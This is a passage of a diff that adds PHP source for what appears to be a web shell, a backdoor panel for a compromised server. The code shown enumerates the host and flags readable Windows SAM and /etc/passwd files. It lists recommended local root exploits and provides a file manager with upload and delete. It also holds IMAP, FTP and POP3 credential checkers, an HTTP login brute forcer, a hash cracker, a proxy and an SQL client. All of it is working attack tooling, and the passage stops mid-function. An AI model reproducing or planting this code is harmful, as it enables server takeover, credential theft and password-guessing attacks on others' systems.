+if(empty($CPU))$CPU='Unknow'; +$os=php_uname(); +$osn=php_uname('s'); +if(!$windows){ +$ker=php_uname('r'); +$o=($osn=='Linux')?'Linux+Kernel':$osn; +$os=str_replace($osn,"${mil}$o'>$osn</a>",$os); +$os=str_replace($ker,"${mil}Linux+Kernel'>$ker</a>",$os); +$inpa=':'; +}else{ +$sam=$sysroot."\\system32\\config\\SAM"; +$inpa=';'; +$os=str_replace($osn,"${mil}MS+Windows'>$osn</a>",$os); +} +$cuser=get_current_user(); +if(!$cuser)$cuser='Unknow'; +$software=str_replace('Apache',"${mil}Apache'>Apache</a>",$_SERVER['SERVER_SOFTWARE']); +echo "<table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'><tr><td>Server information:</td></tr><tr>${t6}Server:</td><td bgcolor='#666666'>".$_SERVER['HTTP_HOST'];if(!empty($_SERVER["SERVER_ADDR"])){ echo "(". $_SERVER["SERVER_ADDR"] .")";}echo "</td></tr><tr>${t8}Operation system:</td><td bgcolor='#808080'>$os$osver</td></tr><tr>${t6}Web server application:</td><td bgcolor='#666666'>$software</td></tr><tr>${t8}CPU:</td><td bgcolor='#808080'>$CPU</td></tr>${t6}Disk status:</td><td bgcolor='#666666'>$disksize</td></tr><tr>${t8}User domain:</td><td bgcolor='#808080'>";if (!empty($_SERVER['USERDOMAIN'])) echo $_SERVER['USERDOMAIN'];else echo "Unknow"; echo "</td></tr><tr>${t6}User name:</td><td bgcolor='#666666'>$cuser</td></tr>"; +if($windows){ +echo "<tr>${t8}Windows directory:</td><td bgcolor='#808080'><a href='".hlinK("seC=fm&workingdiR=$sysroot")."'>$sysroot</a></td></tr><tr>${t6}Sam file:</td><td bgcolor='#666666'>";if(is_readable(($sam)))echo "<a href='".hlinK("?workingdiR=$sysroot\\system32\\config&downloaD=sam")."'>Readable</a>"; else echo 'Not readable';echo '</td></tr>'; +} +else +{ +echo "<tr>${t8}UID - GID:</td><td bgcolor='#808080'>".getmyuid().' - '.getmygid()."</td></tr><tr>${t6}Recommended local root exploits:</td><td bgcolor='#666666'>$xpl</td></tr><tr>${t8}Passwd file:</td><td bgcolor='#808080'>"; +if(is_readable('/etc/passwd'))echo "<a href='".hlinK("seC=edit&filE=/etc/passwd&workingdiR=$cwd")."'>Readable</a>";else echo'Not readable';echo "</td></tr><tr>${t6}${mil}cpanel'>cPanel</a>:</td><td bgcolor='#666666'>";$cp='/usr/local/cpanel/version';$cv=(file_exists($cp) && is_writable($cp))?trim(file_get_contents($cp)):'Unknow';echo "$cv (Log file: "; +if(file_exists('/var/cpanel/accounting.log')){if(is_readable('/var/cpanel/accounting.log'))echo "<a href='".hlinK("seC=edit&filE=/var/cpanel/accounting.log&workingdiR=$cwd")."'>Readable</a>";else echo 'Not readable';}else echo 'Not found';echo ')</td></tr>'; +} +echo "<tr>$t8${mil}PHP'>PHP</a> version:</td><td bgcolor='#808080'><a href='?=".php_logo_guid()."' target='_blank'>".PHP_VERSION."</a> (<a href='".hlinK("seC=phpinfo&workingdiR=$cwd")."'>more...</a>)</td></tr><tr>${t6}Zend version:</td><td bgcolor='#666666'>";if (function_exists('zend_version')) echo "<a href='?=".zend_logo_guid()."' target='_blank'>".zend_version().'</a>';else echo 'Not Found';echo "</td><tr>${t8}Include path:</td><td bgcolor='#808080'>".str_replace($inpa,' ',DEFAULT_INCLUDE_PATH)."</td><tr>${t6}PHP Modules:</td><td bgcolor='#666666'>";$ext=get_loaded_extensions();foreach($ext as $v){$i=phpversion($v);if(!empty($i))$i="($i)";$l=hlinK("exT=$v");echo "<a href='javascript:void(0)' onclick=\"window.open('$l','','width=300,height=200,scrollbars=yes')\">$v</a> $i ";}echo "</td><tr>${t8}Disabled functions:</td><td bgcolor='#808080'>";if(!empty($ds))echo "$ds ";else echo 'Nothing'; echo"</td></tr><tr>${t6}Safe mode:</td><td bgcolor='#666666'>$safemode</td></tr><tr>${t8}Open base dir:</td><td bgcolor='#808080'>$basedir</td></tr><tr>${t6}DBMS:</td><td bgcolor='#666666'>";$sq='';if(function_exists('mysql_connect')) $sq= "${mil}MySQL'>MySQL</a> ";if(function_exists('mssql_connect')) $sq.= " ${mil}MSSQL'>MSSQL</a> ";if(function_exists('ora_logon')) $sq.= " ${mil}Oracle'>Oracle</a> ";if(function_exists('sqlite_open')) $sq.= ' SQLite ';if(function_exists('pg_connect')) $sq.= " ${mil}PostgreSQL'>PostgreSQL</a> ";if(function_exists('msql_connect')) $sq.= ' mSQL ';if(function_exists('mysqli_connect'))$sq.= ' MySQLi ';if(function_exists('ovrimos_connect')) $sq.= ' Ovrimos SQL ';if ($sq=='') $sq= 'Nothing'; echo "$sq</td></tr></table>"; +} +function checksuM($file){ +global $et; +echo "<table border=0 style='border-collapse: collapse' width='100%'><tr><td width='10%' bgcolor='#666666'><b>MD5:</b> <font color=#F0F0F0>".md5_file($file).'</font><br><b>SHA1:</b><font color=#F0F0F0>'.sha1_file($file)."</font>$et"; +} +function listdiR($cwd,$task){ +$c=getcwd(); +$dh=opendir($cwd); +while($cont=readdir($dh)){ +if($cont=='.' || $cont=='..')continue; +$adr=$cwd.DIRECTORY_SEPARATOR.$cont; +switch($task){ +case '0':if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";break; +case '1':if(is_writeable($adr)){if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";}break; +case '2':if(is_file($adr) && is_writeable($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";break; +case '3':if(is_dir($adr) && is_writeable($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";break; +case '4':if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";break; +case '5':if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";break; +case '6':if(preg_match('@'.$_REQUEST['search'].'@',$cont) || (is_file($adr) && preg_match('@'.$_REQUEST['search'].'@',file_get_contents($adr)))){if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";}break; +case '7':if(strstr($cont,$_REQUEST['search']) || (is_file($adr) && strstr(file_get_contents($adr),$_REQUEST['search']))){if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";}break; +case '8':{if(is_dir($adr))rmdir($adr);else unlink($adr);rmdir($cwd);break;} +} +if(is_dir($adr))listdiR($adr,$task); +} +} +if(!checkfunctioN('posix_getpwuid')){function posix_getpwuid($u){return 0;}} +if(!checkfunctioN('posix_getgrgid')){function posix_getgrgid($g){return 0;}} +function filemanageR(){ +global $windows,$msgbox,$errorbox,$t,$et,$cwd,$hcwd; +$table="<table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'>"; +$td1n="<td width='22%' bgcolor='#666666'>"; +$td2m="<td width='22%' bgcolor='#808080'>"; +$td1i="<td width='5%' bgcolor='#666666'>"; +$td2i="<td width='5%' bgcolor='#808080'>"; +$tdnr="<td width='22%' bgcolor='#800000'>"; +$tdw="<td width='22%' bgcolor='#006E00'>"; +if(!empty($_REQUEST['task'])){ +if(!empty($_REQUEST['search']))$_REQUEST['task']=7; +if(!empty($_REQUEST['re']))$_REQUEST['task']=6; +echo '<font color=blue><pre>'; +listdiR($cwd,$_REQUEST['task']); +echo '</pre></font>'; +}else{ +if(!empty($_REQUEST['cP']) || !empty($_REQUEST['mV']) || !empty($_REQUEST['rN'])){ +if(!empty($_REQUEST['cP']) || !empty($_REQUEST['mV'])){ +$title='Destination'; +$ad=(!empty($_REQUEST['cP']))?$_REQUEST['cP']:$_REQUEST['mV']; +$dis=(!empty($_REQUEST['cP']))?'Copy':'Move'; +}else{ +$ad=$_REQUEST['rN']; +$title='New name'; +$dis='Rename'; +} +if(!!empty($_REQUEST['deS'])){ +echo "<center><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='100%' bgcolor='#333333'>$title:</td></tr><tr>$td1n<form method='POST'><input type=text value='";if(empty($_REQUEST['rN']))echo $cwd;echo "' size=60 name=deS></td></tr><tr>$td2m$hcwd<input type=hidden value='".htmlspecialchars($ad)."' name=cp><input class=buttons type=submit value=$dis></form>$et</center>"; +}else{ +if(!empty($_REQUEST['rN']))rename($ad,$_REQUEST['deS']); +else{ +copy($ad,$_REQUEST['deS']); +if(!empty($_REQUEST['mV']))unlink($ad); +} +} +} +if(!empty($_REQUEST['deL'])){if(is_dir($_REQUEST['deL']))listdiR($_REQUEST['deL'],8);else unlink($_REQUEST['deL']);} +if(!empty($_FILES['uploadfile'])){ +move_uploaded_file($_FILES['uploadfile']['tmp_name'],$_FILES['uploadfile']['name']); +echo "$msgbox<b>Uploaded!</b> File name: ".$_FILES['uploadfile']['name']." File size: ".$_FILES['uploadfile']['size']. "$et<br>"; +} +$select="<select onChange='document.location=this.options[this.selectedIndex].value;'><option value='".hlinK("seC=fm&workingdiR=$cwd")."'>--------</option><option value='"; +if(!empty($_REQUEST['newf'])){ +if(!empty($_REQUEST['newfile'])){file_put_contents($_REQUEST['newf'],'');} +if(!empty($_REQUEST['newdir'])){mkdir($_REQUEST['newf']);} +} +if($windows){ +echo "$table<td><b>Drives:</b> "; +for($i=66;$i<=90;$i++){$drive=chr($i).':'; +if(is_dir($drive."\\")){$vol=shelL("vol $drive");if(empty($vol))$vol=$drive;echo " <a title='$vol' href=".hlinK("seC=fm&workingdiR=$drive\\").">$drive\\</a>";} +} +echo $et; +} +echo "$table<form method='POST'><tr><td width='20%'><b>[ <a id='lk' style='text-decoration:none' href='#' onClick=\"HS('div');\">-</a> ] Location:</b><input type=text name=workingdiR size=135 value='$cwd'><input class=buttons type=submit value=Change></form>$et"; +$file=$dir=$link=array(); +if($dirhandle=opendir($cwd)){ +while($cont=readdir($dirhandle)){ +if(is_dir($cwd.DIRECTORY_SEPARATOR.$cont))$dir[]=$cont; +elseif(is_file($cwd.DIRECTORY_SEPARATOR.$cont))$file[]=$cont; +else $link[]=$cont; +} +closedir($dirhandle); +sort($file);sort($dir);sort($link); +echo "<div id='div'><table border=1 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bordercolor='#282828' bgcolor='#333333' width='100%'><tr><td width='30%' bgcolor='#333333' align='center'>Name</td><td width='13%' bgcolor='#333333' align='center'>Owner</td><td width='12%' bgcolor='#333333' align='center'>Modification time</td><td width='12%' bgcolor='#333333' align='center'>Last change</td><td width='5%' bgcolor='#333333' align='center'>Info</td><td width='7%' bgcolor='#333333' align='center'>Size</td><td width='15%' bgcolor='#333333' align='center'>Actions</td></tr>"; +$i=0; +foreach($dir as $dn){ +echo '<tr>'; +$i++; +$own='Unknow'; +$owner=posix_getpwuid(fileowner($dn)); +$mdate=date('Y/m/d H:i:s',filemtime($dn)); +$adate=date('Y/m/d H:i:s',fileatime($dn)); +$diraction=$select.hlinK('seC=fm&workingdiR='.realpath($dn))."'>Open</option><option value='".hlinK("seC=fm&workingdiR=$cwd&rN=$dn")."'>Rename</option><option value='".hlinK("seC=fm&deL=$dn&workingdiR=$cwd")."'>Remove</option></select></td>"; +if($owner)$own="<a title=' Shell: ".$owner['shell']."' href='".hlinK('seC=fm&workingdiR='.$owner['dir'])."'>".$owner['name'].'</a>'; +if(($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;} +if(is_writeable($dn))echo $tdw;elseif(!is_readable($dn))echo $tdnr;else echo $cl2; +echo "<a href='".hlinK('seC=fm&workingdiR='.realpath($dn))."'>"; +if(strlen($dn)>45)echo substr($dn,0,42).'...';else echo $dn;echo '</a>'; +echo $cl1."$own</td>"; +echo $cl1."$mdate</td>"; +echo $cl1."$adate</td>"; +echo "</td>$cl1";echo "<a href='#' onClick=\"javascript:chmoD('$dn')\" title='Change mode'>";echo 'D';if(is_readable($dn))echo 'R';if(is_writeable($dn))echo 'W';echo '</a></td>'; +echo "$cl1------</td>"; +echo $cl2.$diraction; +echo '</tr>'; +} +foreach($file as $fn){ +echo '<tr>'; +$i++; +$own='Unknow'; +$owner=posix_getpwuid(fileowner($fn)); +$fileaction=$select.hlinK("seC=openit&namE=$fn&workingdiR=$cwd")."'>Open</option><option value='".hlinK("seC=edit&filE=$fn&workingdiR=$cwd")."'>Edit</option><option value='".hlinK("seC=fm&downloaD=$fn&workingdiR=$cwd")."'>Download</option><option value='".hlinK("seC=hex&filE=$fn&workingdiR=$cwd")."'>Hex view</option><option value='".hlinK("seC=img&filE=$fn&workingdiR=$cwd")."'>Image</option><option value='".hlinK("seC=inc&filE=$fn&workingdiR=$cwd")."'>Include</option><option value='".hlinK("seC=checksum&filE=$fn&workingdiR=$cwd")."'>Checksum</option><option value='".hlinK("seC=fm&workingdiR=$cwd&cP=$fn")."'>Copy</option><option value='".hlinK("seC=fm&workingdiR=$cwd&mV=$fn")."'>Move</option><option value='".hlinK("seC=fm&deL=$fn&workingdiR=$cwd")."'>Remove</option></select></td>"; +$mdate=date('Y/m/d H:i:s',filemtime($fn)); +$adate=date('Y/m/d H:i:s',fileatime($fn)); +if($owner)$own="<a title='Shell:".$owner['shell']."' href='".hlinK('seC=fm&workingdiR='.$owner['dir'])."'>".$owner['name'].'</a>'; +$size=showsizE(filesize($fn)); +if(($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;} +if(is_writeable($fn))echo $tdw;elseif(!is_readable($fn))echo $tdnr;else echo $cl2; +echo "<a href='".hlinK("seC=openit&namE=$fn&workingdiR=$cwd")."'>"; +if(strlen($fn)>45)echo substr($fn,0,42).'...';else echo $fn;echo '</a>'; +echo $cl1."$own</td>"; +echo $cl1."$mdate</td>"; +echo $cl1."$adate</td>"; +echo "</td>$cl1";echo "<a href='#' onClick=\"javascript:chmoD('$fn')\" title='Change mode'>";if(is_readable($fn))echo "R";if(is_writeable($fn))echo "W";if(is_executable($fn))echo "X";if(is_uploaded_file($fn))echo "U";echo "</a></td>"; +echo "$cl1$size</td>"; +echo $cl2.$fileaction; +echo '</tr>'; +} +foreach($link as $ln){ +$own='Unknow'; +$i++; +$owner=posix_getpwuid(fileowner($ln)); +$linkaction=$select.hlinK("seC=openit&namE=$ln&workingdiR=$ln")."'>Open</option><option value='".hlinK("seC=edit&filE=$ln&workingdiR=$cwd")."'>Edit</option><option value='".hlinK("seC=fm&downloaD=$ln&workingdiR=$cwd")."'>Download</option><option value='".hlinK("seC=hex&filE=$ln&workingdiR=$cwd")."'>Hex view</option><option value='".hlinK("seC=img&filE=$ln&workingdiR=$cwd")."'>Image</option><option value='".hlinK("seC=inc&filE=$ln&workingdiR=$cwd")."'>Include</option><option value='".hlinK("seC=checksum&filE=$ln&workingdiR=$cwd")."'>Checksum</option><option value='".hlinK("seC=fm&workingdiR=$cwd&cP=$ln")."'>Copy</option><option value='".hlinK("seC=fm&workingdiR=$cwd&mV=$ln")."'>Move</option><option value='".hlinK("seC=fm&workingdiR=$cwd&rN=$ln")."'>Rename</option><option value='".hlinK("seC=fm&deL=$ln&workingdiR=$cwd")."'>Remove</option></select></td>"; +$mdate=date('Y/m/d H:i:s',filemtime($ln)); +$adate=date('Y/m/d H:i:s',fileatime($ln)); +if($owner)$own="<a title='Shell: ".$owner['shell']."' href='".hlinK('seC=fm&workingdiR='.$owner['dir'])."'>".$owner['name'].'</a>'; +echo '<tr>'; +$size=showsizE(filesize($ln)); +if(($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;} +if(is_writeable($ln))echo $tdw;elseif(!is_readable($ln))echo $tdnr;else echo $cl2; +echo "<a href='".hlinK("seC=openit&namE=$ln&workingdiR=$cwd")."'>"; +if(strlen($ln)>45)echo substr($ln,0,42).'...';else echo $ln;echo '</a>'; +echo $cl1."$own</td>"; +echo $cl1."$mdate</td>"; +echo $cl1."$adate</td>"; +echo "</td>${cl1}";echo "<a href='#' onClick=\"javascript:chmoD('$ln')\" title='Change mode'>L";if(is_readable($ln))echo "R";if (is_writeable($ln))echo "W";if(is_executable($ln))echo "X";echo "</a></td>"; +echo "$cl1$size</td>"; +echo $cl2.$linkaction; +echo '</tr>'; +} +} +$dc=count($dir)-2; +if($dc==-2)$dc=0; +$fc=count($file); +$lc=count($link); +$total=$dc+$fc+$lc; +$min=min(substr(ini_get('upload_max_filesize'),0,strpos(ini_get('post_max_size'),'M')),substr(ini_get('post_max_size'),0,strpos(ini_get('post_max_size'),'M'))).' MB'; +echo "</table></div>$table<tr><td><form method=POST>Find:<input type=text value=\$pass name=search><input type=checkbox name=re value=1 style='border-width:1px;background-color:#333333;'>Regular expressions <input type=submit class=buttons value=Find>$hcwd<input type=hidden value=7 name=task></form></td><td><form method=POST>$hcwd<input type=hidden value='fm' name=seC><select name=task><option value=0>Display files and directories in current folder</option><option value=1>Find writable files and directories in current folder</option><option value=2>Find writable files in current folder</option><option value=3>Find writable directories in current folder</option><option value=4>Display all files in current folder</option><option value=5>Display all directories in current folder</option></select><input type=submit class=buttons value=Do></form>$et</tr></table><table width='100%'><tr><td width='50%'><br><table bgcolor=#333333 border=0 width='65%'><td><b>Summery:</b> Total: $total Directories: $dc Files: $fc Links: $lc$et<table bgcolor=#333333 border=0 width='65%'><td width='100%' bgcolor=";if (is_writeable($cwd)) echo '#006E00';elseif (!is_readable($cwd)) echo '#800000';else '#333333'; echo '>Current directory status: ';if (is_readable($cwd)) echo 'R';if (is_writeable($cwd)) echo 'W' ;echo "$et<table border=0 style='border-collapse: collapse' width='65%'><tr><td width='100%' bgcolor='#333333'>New:</td></tr><tr>$td1n<form method='POST'><input type=text size=47 name=newf></td></tr><tr>$td2m$hcwd<input class=buttons type=submit name=newfile value='File'><input class=buttons type=submit name=newdir value='Folder'></form>$et</td><td width='50%'><br>${t}Upload:</td></tr><tr>$td1n<form method='POST' enctype='multipart/form-data'><input type=file size=45 name=uploadfile></td></tr><tr>$td2m$hcwd<input class=buttons type=submit value=Upload></td></tr>$td1n Note: Max allowed file size to upload on this server is $min</form>$et$et"; +} +} +function imapchecK($host,$username,$password,$timeout){ +$sock=fsockopen($host,143,$n,$s,$timeout); +$b=uniqid('NJ'); +$l=strlen($b); +if(!$sock)return -1; +fread($sock,1024); +fputs($sock,"$b LOGIN $username $password\r\n"); +$res=fgets($sock,$l+4); +fclose($sock); +if($res=="$b OK")return 1;else return 0; +} +function ftpchecK($host,$username,$password,$timeout){ +$ftp=ftp_connect($host,21,$timeout); +if(!$ftp)return -1; +$con=ftp_login($ftp,$username,$password); +if($con)return 1;else return 0; +} +function pop3checK($server,$user,$pass,$timeout){ +$sock=fsockopen($server,110,$en,$es,$timeout); +if(!$sock)return -1; +fread($sock,1024); +fwrite($sock,"user $user\n"); +$r=fgets($sock); +if($r{0}=='-')return 0; +fwrite($sock,"pass $pass\n"); +$r=fgets($sock); +fclose($sock); +if($r{0}=='+')return 1; +return 0; +} +function formcrackeR(){ +global $errorbox,$footer,$et,$hcwd; +if(!empty($_REQUEST['start'])){ +if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0; +$url=$_REQUEST['target']; +$uf=$_REQUEST['userf']; +$pf=$_REQUEST['passf']; +$sf=$_REQUEST['submitf']; +$sv=$_REQUEST['submitv']; +$method=$_REQUEST['method']; +$fail=$_REQUEST['fail']; +$dic=$_REQUEST['dictionary']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:''; +if(!file_exists($dic))die("$errorbox Can not open dictionary.$et$footer"); +$dictionary=fopen($dic,'r'); +echo '<font color=blue>Cracking started...<br>'; +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$url.="?$uf=$user&$pf=$pass&$sf=$sv"; +$res=check_urL($url,$method,$fail,12); +if(!$res){echo "<font color=blue>U: $user P: $pass</font><br>";if($log)file_add_contentS($file,"U: $user P: $pass\r\n");if(!$type)break;} +} +fclose($dictionary); +echo 'Done!</font><br>'; +} +else echo "<center><table border=0 style='border-collapse: collapse' width='434'><tr><td width='174' bgcolor='#333333'>HTTP Form cracker:</td><td bgcolor='#333333' width='253'></td></tr><form method='POST' name=form><tr><td width='174' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666' width='253'><input type=text name=dictionary size=35></td></tr><tr><td width='174' bgcolor='#808080'>Dictionary type:</td><td bgcolor='#808080'><input type=radio name=combo checked value=0 onClick='document.form.user.disabled = false;' style='border-width:1px;background-color:#808080;'>Simple (P)<input type=radio value=1 name=combo onClick='document.form.user.disabled = true;' style='border-width:1px;background-color:#808080;'>Combo (U:P)</td></tr><tr><td width='174' bgcolor='#666666'>Username:</td><td bgcolor='#666666'><input type=text size=35 value=root name=user>$hcwd</td></tr><tr><td width='174' bgcolor='#808080'>Action Page:</td><td bgcolor='#808080' width='253'><input type=text name=target value='http://".getenv('HTTP_HOST')."/login.php' size=35></td></tr><tr><td width='174' bgcolor='#666666'>Method:</td><td bgcolor='#666666' width='253'><select size='1' name='method'><option selected value='POST'>POST</option><option value='GET'>GET</option></select></td></tr><tr><td width='174' bgcolor='#808080'>Username field name:</td><td bgcolor='#808080' width='253'><input type=text name=userf value=user size=35></td></tr><tr><td width='174' bgcolor='#666666'>Password field name:</td><td bgcolor='#666666' width='253'><input type=text name=passf value=passwd size=35></td></tr><tr><td width='174' bgcolor='#808080'>Submit name:</td><td bgcolor='#808080' width='253'><input type=text value=login name=submitf size=35></td></tr><tr><td width='174' bgcolor='#666666'>Submit value:</td><td bgcolor='#666666' width='253'><input type=text value='Login' name=submitv size=35></td></tr><tr><td width='174' bgcolor='#808080'>Fail string:</td><td bgcolor='#808080' width='253'><input type=text name=fail value='Try again' size=35></td></tr><tr><td width='174' bgcolor='#666666'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = !document.form.logfilE.disabled;' style='border-width:1px;background-color:#666666;' checked>Log</td><td bgcolor='#666666'><input type=text name=logfilE size=25 value='".whereistmP().DIRECTORY_SEPARATOR.".log'> <input class=buttons type=submit name=start value=Start></form>$et</center>"; +} +function hashcrackeR(){ +global $errorbox,$t,$et,$hcwd; +if(!empty($_REQUEST['hash']) && !empty($_REQUEST['dictionary']) && !empty($_REQUEST['type'])){ +if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if($dictionary){ +$hash=strtoupper($_REQUEST['hash']); +echo '<font color=blue>Cracking '.htmlspecialchars($hash).'...<br>'; +$type=($_REQUEST['type']=='MD5')?'md5':'sha1'; +while(!feof($dictionary)){ +$word=trim(fgets($dictionary)," \n\r"); +if($hash==strtoupper(($type($word)))){echo "The answer is $word<br>";if($log)file_add_contentS($file,"$x\r\n");break;} +} +echo 'Done!</font>'; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +} +echo "<center>${t}Hash cracker:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666'><input type=text name=dictionary size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Hash:</td><td bgcolor='#808080'><input type=text name=hash size=35></td></tr><tr><td width='20%' bgcolor='#666666'>Type:</td><td bgcolor='#666666'><select name=type><option selected value=MD5>MD5</option><option value=SHA1>SHA1</option></select></td></tr><tr><td width='20%' bgcolor='#808080'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = !document.form.logfilE.disabled;' style='border-width:1px;background-color:#808080;' checked>Log</td><td bgcolor='#808080'><input type=text name=logfilE size=25 value='".whereistmP().DIRECTORY_SEPARATOR.".log'> $hcwd <input class=buttons type=submit value=Start></form>$et</center>"; +} +function pr0xy(){ +global $errorbox,$et,$footer,$hcwd; +echo "<table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'><form method='POST'><tr><td width='20%'><b>Navigator: </b><input type=text name=urL size=140 value='";if(!!empty($_REQUEST['urL'])) echo 'http://www.edpsciences.org/htbin/ipaddress'; else echo htmlspecialchars($_REQUEST['urL']);echo "'>$hcwd<input type=submit class=buttons value=Go></form>$et"; +if(!empty($_REQUEST['urL'])){ +$u=parse_url($_REQUEST['urL']); +$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/'; +$dir=dirname($file); +$con=getiT($_REQUEST['urL']); +$s=array("href=mailto"=>"HrEf=mailto","HREF=mailto"=>"HrEf=mailto","href='mailto"=>"HrEf=\"mailto","HREF=\"mailto"=>"HrEf=\"mailto","href=\'mailto"=>"HrEf=\"mailto","HREF=\'mailto"=>"HrEf=\"mailto","href=\"http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"href=\'http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"HREF=\'http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"href=http"=>"HrEf=".hlinK("seC=px&urL=http"),"HREF=http"=>"HrEf=".hlinK("seC=px&urL=http"),"href=\""=>"HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),"HREF=\""=>"HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),"href=\""=>"HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),'HREF="'=>'HrEf="'.hlinK("seC=px&urL=http://$host/$dir/"),"href="=>"HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),"HREF="=>"HrEf=".hlinK("seC=px&urL=http://$host/$dir/")); +$con=replace_stR($s,$con); +echo $con; +} +} +function sqlclienT(){ +global $t,$errorbox,$et,$hcwd; +if(!empty($_REQUEST['serveR']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && !empty($_REQUEST['querY'])){ +$server=$_REQUEST['serveR'];$type=$_REQUEST['typE'];$pass=$_REQUEST['pasS'];$user=$_REQUEST['useR'];$query=$_REQUEST['querY']; +$db=(empty($_REQUEST['dB']))?'':$_REQUEST['dB']; +$res=querY($type,$server,$user,$pass,$db,$query); +if($res){ +$res=str_replace('|-|-|-|-|-|','</td><td>',$res); +$res=str_replace('|+|+|+|+|+|','</td></tr><tr><td>',$res); +$r=explode('[+][+][+]',$res); +$r[1]=str_replace('[-][-][-]',"</td><td bgcolor='333333'>",$r[1]); +echo "<table border=0 bgcolor='666666' width='100%'></tr><tr><td bgcolor='333333'>".$r[1].'</tr><tr><td>'.$r[0]."$et<br>"; +} +else{ +echo "$errorbox Failed!$et<br>"; +} +} +if(empty($_REQUEST['typE']))$_REQUEST['typE']=''; +echo "<center>${t}SQL cilent:</td><form name=client method='POST'><td bgcolor='#333333'><select name=typE><option valut=MySQL onClick='document.client.serveR.disabled = false;' ";if ($_REQUEST['typE']=='MySQL')echo 'selected';echo ">MySQL</option><option valut=MSSQL onClick='document.client.serveR.disabled = false;' ";if ($_REQUEST['typE']=='MSSQL')echo 'selected';echo ">MSSQL</option><option valut=Oracle onClick='document.client.serveR.disabled = true;' ";if ($_REQUEST['typE']=='Oracle')echo 'selected';echo ">Oracle</option><option valut=PostgreSQL onClick='document.client.serveR.disabled = false;' ";if ($_REQUEST['typE']=='PostgreSQL')echo 'selected';echo ">PostgreSQL</option></select></td></tr><tr><td width='20%' bgcolor='#666666'>Server:</td><td bgcolor='#666666'><input type=text value='";if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);else echo 'localhost'; echo "' name=serveR size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Username:</td><td bgcolor='#808080'><input type=text name=useR value='";if (!empty($_REQUEST['useR'])) echo htmlspecialchars($_REQUEST['useR']);else echo 'root'; echo "' size=35></td><tr><td width='20%' bgcolor='#666666'>Password:</td><td bgcolor='#666666'><input type=text value='";if (isset($_REQUEST['pasS'])) echo htmlspecialchars($_REQUEST['pasS']);else echo '123456'; echo "' name=pasS size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Database:</td><td bgcolor='#808080'><input type=text value='";if (!empty($_REQUEST['dB'])) echo htmlspecialchars($_REQUEST['dB']); echo "' name=dB size=35></td><tr><td width='20%' bgcolor='#666666'>Query:</td><td bgcolor='#666666'><textarea name=querY rows=5 cols=27>";if (!empty($_REQUEST['querY'])) echo htmlspecialchars(($_REQUEST['querY']));else echo 'SHOW DATABASES'; echo "</textarea></td></tr></tr><tr><td width='20%' bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value='Submit Query'></form>$et</center>"; +} +function querY($type,$host,$user,$pass,$db='',$query){ +$res=''; +switch($type){ +case 'MySQL': +if(!function_exists('mysql_connect'))return 0; +$link=mysql_connect($host,$user,$pass); +if($link){ +if(!empty($db))mysql_select_db($db,$link); +$result=mysql_query($query,$link); +while($data=mysql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|'; +$res.='[+][+][+]'; 